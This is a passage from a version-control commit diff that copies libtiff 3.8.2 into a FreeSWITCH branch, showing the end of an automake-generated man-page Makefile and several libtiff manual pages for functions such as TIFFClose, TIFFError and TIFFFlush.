+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+dist_man1_MANS = \
+	bmp2tiff.1 \
+	fax2ps.1 \
+	fax2tiff.1 \
+	gif2tiff.1 \
+	pal2rgb.1 \
+	ppm2tiff.1 \
+	ras2tiff.1 \
+	raw2tiff.1 \
+	rgb2ycbcr.1 \
+	sgi2tiff.1 \
+	thumbnail.1 \
+	tiff2bw.1 \
+	tiff2pdf.1 \
+	tiff2ps.1 \
+	tiff2rgba.1 \
+	tiffcmp.1 \
+	tiffcp.1 \
+	tiffdither.1 \
+	tiffdump.1 \
+	tiffgt.1 \
+	tiffinfo.1 \
+	tiffmedian.1 \
+	tiffset.1 \
+	tiffsplit.1 \
+	tiffsv.1
+
+dist_man3_MANS = \
+	libtiff.3tiff \
+	TIFFbuffer.3tiff \
+	TIFFClose.3tiff \
+	TIFFcodec.3tiff \
+	TIFFcolor.3tiff \
+	TIFFDataWidth.3tiff \
+	TIFFError.3tiff \
+	TIFFFlush.3tiff \
+	TIFFGetField.3tiff \
+	TIFFmemory.3tiff \
+	TIFFOpen.3tiff \
+	TIFFPrintDirectory.3tiff \
+	TIFFquery.3tiff \
+	TIFFReadDirectory.3tiff \
+	TIFFReadEncodedStrip.3tiff \
+	TIFFReadEncodedTile.3tiff \
+	TIFFReadRawStrip.3tiff \
+	TIFFReadRawTile.3tiff \
+	TIFFReadRGBAImage.3tiff \
+	TIFFReadRGBAStrip.3tiff \
+	TIFFReadRGBATile.3tiff \
+	TIFFReadScanline.3tiff \
+	TIFFReadTile.3tiff \
+	TIFFRGBAImage.3tiff \
+	TIFFSetDirectory.3tiff \
+	TIFFSetField.3tiff \
+	TIFFsize.3tiff \
+	TIFFstrip.3tiff \
+	TIFFswab.3tiff \
+	TIFFtile.3tiff \
+	TIFFWarning.3tiff \
+	TIFFWriteDirectory.3tiff \
+	TIFFWriteEncodedStrip.3tiff \
+	TIFFWriteEncodedTile.3tiff \
+	TIFFWriteRawStrip.3tiff \
+	TIFFWriteRawTile.3tiff \
+	TIFFWriteScanline.3tiff \
+	TIFFWriteTile.3tiff
+
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  man/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  man/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-man1: $(man1_MANS) $(man_MANS)
+	@$(NORMAL_INSTALL)
+	test -z "$(man1dir)" || $(mkdir_p) "$(DESTDIR)$(man1dir)"
+	@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
+	l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
+	for i in $$l2; do \
+	  case "$$i" in \
+	    *.1*) list="$$list $$i" ;; \
+	  esac; \
+	done; \
+	for i in $$list; do \
+	  if test -f $(srcdir)/$$i; then file=$(srcdir)/$$i; \
+	  else file=$$i; fi; \
+	  ext=`echo $$i | sed -e 's/^.*\\.//'`; \
+	  case "$$ext" in \
+	    1*) ;; \
+	    *) ext='1' ;; \
+	  esac; \
+	  inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
+	  inst=`echo $$inst | sed -e 's/^.*\///'`; \
+	  inst=`echo $$inst | sed '$(transform)'`.$$ext; \
+	  echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man1dir)/$$inst'"; \
+	  $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man1dir)/$$inst"; \
+	done
+uninstall-man1:
+	@$(NORMAL_UNINSTALL)
+	@list='$(man1_MANS) $(dist_man1_MANS) $(nodist_man1_MANS)'; \
+	l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
+	for i in $$l2; do \
+	  case "$$i" in \
+	    *.1*) list="$$list $$i" ;; \
+	  esac; \
+	done; \
+	for i in $$list; do \
+	  ext=`echo $$i | sed -e 's/^.*\\.//'`; \
+	  case "$$ext" in \
+	    1*) ;; \
+	    *) ext='1' ;; \
+	  esac; \
+	  inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
+	  inst=`echo $$inst | sed -e 's/^.*\///'`; \
+	  inst=`echo $$inst | sed '$(transform)'`.$$ext; \
+	  echo " rm -f '$(DESTDIR)$(man1dir)/$$inst'"; \
+	  rm -f "$(DESTDIR)$(man1dir)/$$inst"; \
+	done
+install-man3: $(man3_MANS) $(man_MANS)
+	@$(NORMAL_INSTALL)
+	test -z "$(man3dir)" || $(mkdir_p) "$(DESTDIR)$(man3dir)"
+	@list='$(man3_MANS) $(dist_man3_MANS) $(nodist_man3_MANS)'; \
+	l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
+	for i in $$l2; do \
+	  case "$$i" in \
+	    *.3*) list="$$list $$i" ;; \
+	  esac; \
+	done; \
+	for i in $$list; do \
+	  if test -f $(srcdir)/$$i; then file=$(srcdir)/$$i; \
+	  else file=$$i; fi; \
+	  ext=`echo $$i | sed -e 's/^.*\\.//'`; \
+	  case "$$ext" in \
+	    3*) ;; \
+	    *) ext='3' ;; \
+	  esac; \
+	  inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
+	  inst=`echo $$inst | sed -e 's/^.*\///'`; \
+	  inst=`echo $$inst | sed '$(transform)'`.$$ext; \
+	  echo " $(INSTALL_DATA) '$$file' '$(DESTDIR)$(man3dir)/$$inst'"; \
+	  $(INSTALL_DATA) "$$file" "$(DESTDIR)$(man3dir)/$$inst"; \
+	done
+uninstall-man3:
+	@$(NORMAL_UNINSTALL)
+	@list='$(man3_MANS) $(dist_man3_MANS) $(nodist_man3_MANS)'; \
+	l2='$(man_MANS) $(dist_man_MANS) $(nodist_man_MANS)'; \
+	for i in $$l2; do \
+	  case "$$i" in \
+	    *.3*) list="$$list $$i" ;; \
+	  esac; \
+	done; \
+	for i in $$list; do \
+	  ext=`echo $$i | sed -e 's/^.*\\.//'`; \
+	  case "$$ext" in \
+	    3*) ;; \
+	    *) ext='3' ;; \
+	  esac; \
+	  inst=`echo $$i | sed -e 's/\\.[0-9a-z]*$$//'`; \
+	  inst=`echo $$inst | sed -e 's/^.*\///'`; \
+	  inst=`echo $$inst | sed '$(transform)'`.$$ext; \
+	  echo " rm -f '$(DESTDIR)$(man3dir)/$$inst'"; \
+	  rm -f "$(DESTDIR)$(man3dir)/$$inst"; \
+	done
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(MANS)
+installdirs:
+	for dir in "$(DESTDIR)$(man1dir)" "$(DESTDIR)$(man3dir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am: install-man
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man: install-man1 install-man3
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am uninstall-man
+
+uninstall-man: uninstall-man1 uninstall-man3
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-man1 \
+	install-man3 install-strip installcheck installcheck-am \
+	installdirs maintainer-clean maintainer-clean-generic \
+	mostlyclean mostlyclean-generic mostlyclean-libtool pdf pdf-am \
+	ps ps-am uninstall uninstall-am uninstall-info-am \
+	uninstall-man uninstall-man1 uninstall-man3
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFClose.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFClose.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFClose.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFClose.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFClose.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+.\" $Id: TIFFClose.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFClose 3TIFF "November 2, 2005" "libtiff"
+.SH NAME
+TIFFClose \- close a previously opened
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "void TIFFClose(TIFF *" tif ")"
+.SH DESCRIPTION
+.IR TIFFClose
+closes a file that was previously opened with
+.BR TIFFOpen (3TIFF).
+Any buffered data are flushed to the file, including the contents of the
+current directory (if modified); and all resources are reclaimed.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.bR TIFFError (3TIFF)
+routine.
+Likewise, warning messages are directed to the
+.BR TIFFWarning (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR libtiff (3TIFF),
+.BR TIFFOpen (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFDataWidth.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFDataWidth.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFDataWidth.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFDataWidth.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFDataWidth.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+.\" $Id: TIFFDataWidth.3tiff,v 1.3 2006/03/23 14:54:02 dron Exp $
+.\"
+.\" Copyright (c) 2002, Andrey Kiselev <dron@ak4719.spb.edu>
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFDataWidth 3TIFF "September 12, 2002" "libtiff"
+.SH NAME
+TIFFDataWidth \- Get the size of TIFF data types
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFDataWidth(TIFFDataType " type ")"
+.SH DESCRIPTION
+.I TIFFDataWidth
+returns a size of
+.I type
+in bytes.
+Currently following data types are supported:
+.br
+.I TIFF_BYTE
+.br
+.I TIFF_ASCII
+.br
+.I TIFF_SBYTE
+.br
+.I TIFF_UNDEFINED
+.br
+.I TIFF_SHORT
+.br
+.I TIFF_SSHORT
+.br
+.I TIFF_LONG
+.br
+.I TIFF_SLONG
+.br
+.I TIFF_FLOAT
+.br
+.I TIFF_IFD
+.br
+.I TIFF_RATIONAL
+.br
+.I TIFF_SRATIONAL
+.br
+.I TIFF_DOUBLE
+.br
+.SH "RETURN VALUES"
+.br
+.IR TIFFDataWidth
+returns a number of bytes occupied by the item of given type. 0 returned when
+uknown data type supplied.
+.SH "SEE ALSO"
+.BR libtiff (3TIFF),
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFError.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFError.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFError.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFError.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFError.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,69 @@
+.\" $Id: TIFFError.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFError 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFError, TIFFSetErrorHandler \- library error handling interface
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "void TIFFError(const char *" module ", const char *" fmt ", " ... ")"
+.sp
+.B "#include <stdarg.h>"
+.sp
+.BI "typedef void (*TIFFErrorHandler)(const char *" module ", const char *" fmt ", va_list " ap ");"
+.br
+.B "TIFFErrorHandler TIFFSetErrorHandler(TIFFErrorHandler handler);"
+.SH DESCRIPTION
+.I TIFFError
+invokes the library-wide error handling function to (normally) write an error
+message to the
+.BR stderr .
+The
+.I fmt
+parameter is a
+.IR printf (3S)
+format string, and any number arguments can be supplied. The
+.I module
+parameter, if non-zero, is printed before the message; it typically is used to
+identify the software module in which an error is detected.
+.PP
+Applications that desire to capture control in the event of an error should
+use
+.IR TIFFSetErrorHandler
+to override the default error handler.
+A
+.SM NULL
+(0) error handling function may be installed to suppress error messages.
+.SH "RETURN VALUES"
+.IR TIFFSetErrorHandler
+returns a reference to the previous error handling function.
+.SH "SEE ALSO"
+.BR TIFFWarning (3TIFF),
+.BR libtiff (3TIFF),
+.BR printf (3)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFFlush.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFFlush.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFFlush.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFFlush.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFFlush.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+.\" $Id: TIFFFlush.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFFlush 3TIFF "December 16, 1991" "libtiff"
+.SH NAME
+TIFFFlush, TIFFFlushData \- flush pending writes to an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFFlush(TIFF *" tif ")"
+.br
+.BI "int TIFFFlushData(TIFF *" tif ")"
+.SH DESCRIPTION
+.IR TIFFFlush
+causes any pending writes for the specified file (including writes for the
+current directory) to be done. In normal operation this call is never needed \-
+the library automatically does any flushing required.
+.PP
+.IR TIFFFlushData
+flushes any pending image data for the specified file to be written out;
+directory-related data are not flushed. In normal operation this call is never
+needed \- the library automatically does any flushing required.
+.SH "RETURN VALUES"
+0 is returned if an error is encountered, otherwise 1 is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFWriteEncodedStrip (3TIFF),
+.BR TIFFWriteEncodedTile (3TIFF),
+.BR TIFFWriteRawStrip (3TIFF),
+.BR TIFFWriteRawTile (3TIFF),
+.BR TIFFWriteScanline (3TIFF),
+.BR TIFFWriteTile (3TIFF)
+.BR libtiff (3TIFF),
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFGetField.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFGetField.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFGetField.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFGetField.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFGetField.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,232 @@
+.\" $Id: TIFFGetField.3tiff,v 1.4 2006/01/02 23:50:44 bfriesen Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
